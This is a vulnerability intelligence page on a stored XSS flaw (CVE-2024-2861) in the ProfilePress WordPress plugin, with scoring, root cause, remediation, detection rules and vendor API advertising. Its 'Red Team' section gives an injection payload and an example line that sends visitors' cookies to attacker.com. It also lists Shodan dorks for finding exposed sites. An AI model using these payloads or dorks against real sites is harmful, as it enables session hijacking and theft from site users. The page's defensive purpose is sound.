☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2861

CVE-2024-2861 Cross-Site Scripting in Profilepress
📅 PUBLISHED: 2024-05-23 09:32 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.59%
👁️
0.59% probability
14.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2861 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the ProfilePress plugin for WordPress, affecting all versions up to and including 4.15.8. The flaw resides in the ProfilePress User Panel widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx server misconfigurations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the ProfilePress plugin distributed via the official WordPress plugin repository. No malicious package injection has been observed, but the lack of a vendor patch increases supply chain risk for sites relying on automatic updates. Administrators should verify plugin integrity and consider temporary removal until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation requires authenticated access but can lead to persistent compromise of user sessions and site integrity.

Deep Dive & Mechanics

The vulnerability exists in the [profilepress-user-panel] shortcode or widget, which renders user profile information. The plugin fails to properly sanitize user-supplied attributes (e.g., class, style, or custom data attributes) before outputting them in the HTML. An attacker with contributor-level access can craft a post or page containing the widget with malicious JavaScript embedded in an attribute. When the page is rendered, the script executes in the context of any visitor’s browser, including administrators.

Root Cause: The plugin uses esc_attr() inconsistently or not at all for certain widget attributes, allowing injection of event handlers like onmouseover or direct script tags via data-* attributes.

Attack Flow:

  1. Attacker logs in as a Contributor.
  2. Creates a new post/page and inserts the ProfilePress User Panel widget.
  3. Injects a payload such as onmouseover="alert('XSS')" into an attribute field.
  4. Publishes the post (or saves as draft and tricks an admin to preview).
  5. Any user visiting the page triggers the script.

Vulnerable vs. Patched Code

Vulnerable Code (ProfilePress <= 4.15.8):

// In widget output function
$class = $instance['class']; // No sanitization
echo '<div class="' . $class . '">'; // Direct output

Patched Code (Hypothetical fix):

// In widget output function
$class = sanitize_html_class( $instance['class'] ); // Sanitize
echo '<div class="' . esc_attr( $class ) . '">'; // Escape output

The patch must apply sanitize_html_class() and esc_attr() to all user-supplied attributes in the widget.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with ProfilePress plugin <= 4.15.8.
  • Contributor-level account.

Steps:

  1. Log in as Contributor.
  2. Create a new post.
  3. Insert the ProfilePress User Panel widget via the block editor or shortcode.
  4. In the widget settings, inject a payload into a text field (e.g., class attribute):
    " onmouseover="alert(document.cookie)
    
  5. Publish the post.
  6. When an admin or visitor views the post, the XSS triggers.

Example Payload:

<div class="pp-user-panel" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Profile</div>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for posts/pages containing the [profilepress-user-panel] shortcode with suspicious attributes.
  • Use WAF rules to block event handler injection in widget fields.

Hardening:

  • Disable the ProfilePress User Panel widget until a patch is available.
  • Restrict contributor-level users from publishing posts (use pending status).
  • Apply a Content Security Policy (CSP) to block inline scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/wp-user-avatar/profilepress.php (or similar)
  • Pattern in database: Posts containing [profilepress-user-panel with on*= attributes.
  • Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
  • Logs: Suspicious wp_insert_post or wp_update_post actions by contributor users.

Detection Engineering

YARA Rule

rule CVE_2024_2861_ProfilePress_XSS {
    meta:
        description = "Detects malicious ProfilePress widget attributes indicative of CVE-2024-2861"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2861"
    strings:
        $payload1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $payload2 = /<script[^>]*>.*<\/script>/i
        $widget = /\[profilepress-user-panel[^\]]*\]/i
    condition:
        $widget and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2024-2861 ProfilePress Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via ProfilePress User Panel widget
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wp-json\/wp\/v2\/posts'
        http.body|contains: 'profilepress-user-panel'
        http.body|re: 'on\w+\s*='
    condition: selection
falsepositives:
    - Legitimate use of event handlers by developers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2861 ProfilePress Stored XSS Attempt"; flow:to_server; content:"profilepress-user-panel"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ProfilePress User Panel widget by removing the shortcode from all posts/pages.
  2. Restrict contributor-level users from publishing content (set to pending review).
  3. Apply a Web Application Firewall (WAF) rule to block event handler injection.

Long-term Fix:

  • Monitor the ProfilePress plugin repository for an official patch (expected version 4.15.9 or later).
  • Once patched, update the plugin and re-enable the widget.
  • Conduct a security audit of all posts/pages for injected XSS payloads.

Workaround:

  • Use a custom filter to sanitize widget attributes:
add_filter( 'profilepress_user_panel_attributes', function( $attrs ) {
    foreach ( $attrs as $key => $value ) {
        $attrs[$key] = sanitize_html_class( $value );
    }
    return $attrs;
} );

Valters IT
Securing WordPress ecosystems with precision threat intelligence.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/wp-user-avatar"
http.html:"profilepress"
http.html:"ppress"
http.html:"wp-user-avatar-pro"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2861/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.